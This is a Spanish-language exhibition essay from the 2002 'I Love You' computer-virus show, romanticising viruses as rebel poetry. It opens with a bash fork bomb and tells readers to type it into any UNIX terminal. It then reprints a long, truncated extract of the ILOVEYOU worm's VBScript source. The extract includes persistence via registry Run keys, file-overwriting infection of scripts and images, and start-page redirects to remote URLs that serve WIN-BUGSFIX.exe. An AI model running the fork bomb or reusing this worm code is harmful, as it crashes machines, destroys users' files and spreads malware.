:(){ :|:& };:

Preludio

Cualquier discusión sobre el software como arte debe tener en cuenta todo el proceso creativo vinculado a su concepción y realización, o cual lleva a una nueva operabilidad dentro del dominio digital: nuestra atención está puesta aquí en los códigos fuentes,[94] el fascinante mundo del álgebra y de los algoritmos que se puede observar en muchas expresiones de forma dentro de la inmanencia digital, todas las cuales pueden reformularse y producir sentido.

Los códigos fuentes, o mejor los algoritmos y el álgebra, son las herramientas del artesano digital de la edad moderna con más de mil años de teorías matemáticas por detrás;[95] sólo por poco más de un cuarto de siglo han actuado como software. El software es un medio para crear arte y comunicar. Es una metaliteratura que define de qué manera pueden transportarse y (re)producirse sentidos al multiplicar las posibilidades de su comunicación. En tanto medio de metacomunicación, el software representa a la Parole [habla] (citando a Saussure), que deriva su ejecución de una Langue [lengua], por ejemplo del universo lingüístico y gramatical del código. El ejercicio metafísico se torna recursivo aquí: aunque muchos ven al código fuente sólo como un oscuro criptograma, éste posee un efecto indirecto en el modo en que nos comunicamos y aún más en la eficacia con la que lo hacemos.

Con todo esto en mente, ahora centrémonos en el fenómeno de los programas conocidos como virus. Éstos consisten en una combinación de actos poéticos de rebelión, síntomas políticos y estructurales, intentos de acceder a las fisuras de la red explorando su permeabilidad; inteligencias artificiales (rara vez dañinas, aclarémoslo), que han poblado el universo digital desde sus inicios.

Bohemia Digital

Al considerar al código fuente como literatura, estoy retratando los virus como poesía maldita, como provocación contra aquellos que venden la red como una zona liberada para la sociedad burguesa. Las relaciones, fuerzas y leyes que gobiernan el dominio digital difieren de las del mundo natural. El dominio digital produce una forma de caos a veces incómoda por lo inusitada, aunque productiva dentro de la cual surfear: en ese caos los virus son composiciones espontáneas, líricas por provocar imperfecciones en máquinas hechas para funcionar y por representar la rebelión de nuestros siervos digitales.

Podría parecer que esta idea de comparar los virus con poesía lírica sólo la pueden apreciar aquellos que cuentan con conocimientos técnicos específicos, pero esto no es así. De hecho, este es uno de los propósitos de la exhibición I Love You de digitalcraft.org, que explora los aspectos tantas veces negados de una bohemia digital. Ésta logra que la red por la que hoy navegamos sea más orgánica, al diseñar nuevos modos de circulación para que la información viaje en ella, a la vez que genera una estética, en el verdadero sentido de la palabra, que muchas veces ha permeando en el llamado net-art. El caos:

El último acto posible es el que define a la percepción misma, un cordón dorado invisible que nos conecta: fiestas ilegales en los pasillos del Palacio de Justicia. Si te fuera a besar aquí dirían que es un acto de terrorismo así que llevemos nuestros revólveres a la cama y a medianoche despertemos a la ciudad como bandidos borrachos, celebrando a los tiros el mensaje del sabor del caos.

Hakim Bey Ahora tipea :(){ :|:& };: en cualquier terminal UNIX.[96]

Anticuerpos de Internet

Así como un organismo se defiende a sí mismo contra las enfermedades que lo infectan, la red ha reaccionado produciendo anticuerpos que atacan los bugs[97] de distintos tipos de software defectuoso. Un tipo particular de virus que se difundió últimamente es el gusano, que se transmite básicamente a través de programas de e-mail y servidores. Los fabricantes de software vulnerable siguen tratando de mejorar la seguridad de sus productos, lo que para nosotros quiere decir la privacidad de nuestras comunicaciones.

En sentido político, vemos que la reacción de muchos escritores de virus, que se destacan en la red por su conocimiento profundo de los elementos que componen a ésta, fue precisamente provocada por el abordaje monopolista y corporativo de ciertos grandes grupos del mercado que sueñan con convertir la red en un shopping virtual para sus propios modos de hacer negocios, sin respeto por la horizontalidad de las relaciones de los ciudadanos que la habitan. Hasta ahora ha habido infinidad de intentos de disminuir la velocidad a la que puede circular la información, que van desde la censura a las restricciones de copyright, con el objetivo claro de centralizar sus flujos:[98]

Desde los primeros días de la computadora personal, el ciberespacio fue visto como un medio para recuperar espacios públicos ante su progresiva desaparición. Lee Felsenstein, uno de los creadores de la computadora personal, impulsaba el uso de esta herramienta para reestablecer un sentido comunitario de la información (Felsenstein). Felsenstein y muchos de sus amigos pioneros soñaron que la Internet pudiera brindarle a un vasto público un espacio que reflejara sus diversos intereses y promoviera la creatividad y la libertad de expresión.

Por muchos años el discurso masivo encasilló a la Internet como una zona de diversidad y libre expresión donde cualquiera puede ser un creador. Pero desde los primeros días de la Web, las áreas públicas de la Internet empezaron a rodearse de vallas, cada vez más. En 1994 este autor advirtió sobre el efecto colonizador que los intereses comerciales tendrían en el espacio público que por entonces representaba Internet (Besser, 1994). Y en 1995, discutió sobre cómo el control por parte de grandes industrias pasaría por encima de los beneficios públicos y la diversidad que la Internet había prometido. Casi una década más tarde, vemos cada vez más vallados los espacios de Internet, y las acciones de las personas cada vez más rastreadas y almacenadas.

Howard Besser

Los virus son un síntoma político de una comunidad que sigue siendo extremadamente vasta, y su prohibición no soluciona los problemas que se derivan de ellos. Lo mismo es cierto respecto del hacking y el anonimato.

Rizografía

Un escritor de virus está interesado en explorar la permeabilidad de la red. Un rizoma como el de Internet con tantas dimensiones, y con dimensiones de este tipo, no se puede representar en ningún mapa; muchos lo intentaron pero hasta ahora ninguno lo logró. Sus extensiones podrían delinearse siguiendo una ruta, sondeando dónde se bifurca, y persiguiendo sus direcciones y conexiones. Al inyectar un medio contrastivo en el organismo para trazar su forma y estructura se producirá un angiograma que mostrará la configuración básica de sus venas. Sólo queda hacer un esfuerzo y considerar los orígenes del Instinto de Exploración tal como se presenta en nuestra propia historia, la historia del mundo orgánico tal como lo conocemos.

Quisiera agradecer a digitalcraft.org por su atención e interés en nuestro trabajo. Ha sido un honor para mí contribuir con esta experiencia colectiva por la cual se ha mostrado tanto entusiasmo. Muchas gracias a Franziska Nori, Florian Cramer, Andreas Broeckmann, Alessandro Ludovico, Garderobe23 / Kunstfabrik Berlin, Woessel; en solidaridad con todos los que aún resisten. Para todos los que siguen peleando: ¡no se detengan!

(Nota de Presentación para la muestra I Love You sobre virus informáticos, Museo de Artes Aplicadas, Frankfurt, 2002)

I Love You

Este es un extracto con las primeras líneas del código fuente del virus«I love you» , que infectó a millones de computadores poco después de su aparición el 4 de mayo de 2000.

rem barok -loveletter(vbe) <i hate go to school>

rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group /

Manila,Philippines

On Error Resume Next

dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow

eq=””

ctr=0

Set fso = CreateObject(“Scripting.FileSystemObject”)

set file = fso.OpenTextFile(WScript.ScriptFullname,1)

vbscopy=file.ReadAll

main()

sub main()

On Error Resume Next

dim wscr,rr

set wscr=CreateObject(“WScript.Shell”)

rr=wscr.RegRead(“HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting

Host\Settings\Timeout”)

if (rr>=1) then

wscr.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting

Host\Settings\Timeout”,0,”REG_DWORD”

end if

Set dirwin = fso.GetSpecialFolder(0)

Set dirsystem = fso.GetSpecialFolder(1)

Set dirtemp = fso.GetSpecialFolder(2)

Set c = fso.GetFile(WScript.ScriptFullName)

c.Copy(dirsystem&”\MSKernel32.vbs”)

c.Copy(dirwin&”\Win32DLL.vbs”)

c.Copy(dirsystem&”\LOVE-LETTER-FOR-YOU.TXT.vbs”)

regruns()

html()

spreadtoemail()

listadriv()

end sub

sub regruns()

On Error Resume Next

Dim num,downread

regcreate

“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32

“,dirsystem&”\MSKernel32.vbs”

regcreate

“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Wi

n32DLL”,dirwin&”\Win32DLL.vbs”

downread=””

downread=regget(“HKEY_CURRENT_USER\Software\Microsoft\Internet

Explorer\Download Directory”)

if (downread=””) then

downread=”c:\”

end if

if (fileexist(dirsystem&”\WinFAT32.exe”)=1) then

Randomize

num = Int((4 * Rnd) + 1)

if num = 1 then

regcreate “HKCU\Software\Microsoft\Internet Explorer\Main\Start

Page”,”http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj

w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe”

elseif num = 2 then

regcreate “HKCU\Software\Microsoft\Internet Explorer\Main\Start

Page”,”http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe

546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe”

elseif num = 3 then

regcreate “HKCU\Software\Microsoft\Internet Explorer\Main\Start

Page”,”http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm

POhfgER67b3Vbvg/WIN-BUGSFIX.exe”

elseif num = 4 then

regcreate “HKCU\Software\Microsoft\Internet Explorer\Main\Start

Page”,”http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh

YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX

.exe”

end if

end if

if (fileexist(downread&”\WIN-BUGSFIX.exe”)=0) then

regcreate

“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFI

X”,downread&”\WIN-BUGSFIX.exe”

regcreate “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start

Page”,”about:blank”

end if

end sub

sub listadriv

On Error Resume Next

Dim d,dc,s

Set dc = fso.Drives

For Each d in dc

If d.DriveType = 2 or d.DriveType=3 Then

folderlist(d.path&”\”)

end if

Next

listadriv = s

end sub

sub infectfiles(folderspec)

On Error Resume Next

dim f,f1,fc,ext,ap,mircfname,s,bname,mp3

set f = fso.GetFolder(folderspec)

set fc = f.Files

for each f1 in fc

ext=fso.GetExtensionName(f1.path)

ext=lcase(ext)

s=lcase(f1.name)

if (ext=”vbs”) or (ext=”vbe”) then

set ap=fso.OpenTextFile(f1.path,2,true)

ap.write vbscopy

ap.close

elseif(ext=”js”) or (ext=”jse”) or (ext=”css”) or (ext=”wsh”) or (ext=”sct”)

or (ext=”hta”) then

set ap=fso.OpenTextFile(f1.path,2,true)

ap.write vbscopy

ap.close

bname=fso.GetBaseName(f1.path)

set cop=fso.GetFile(f1.path)

cop.copy(folderspec&”\”&bname&”.vbs”)

fso.DeleteFile(f1.path)

elseif(ext=”jpg”) or (ext=”jpeg”) then

set ap=fso.OpenTextFile(f1.path,2,true)

ap.write vbscopy

ap.close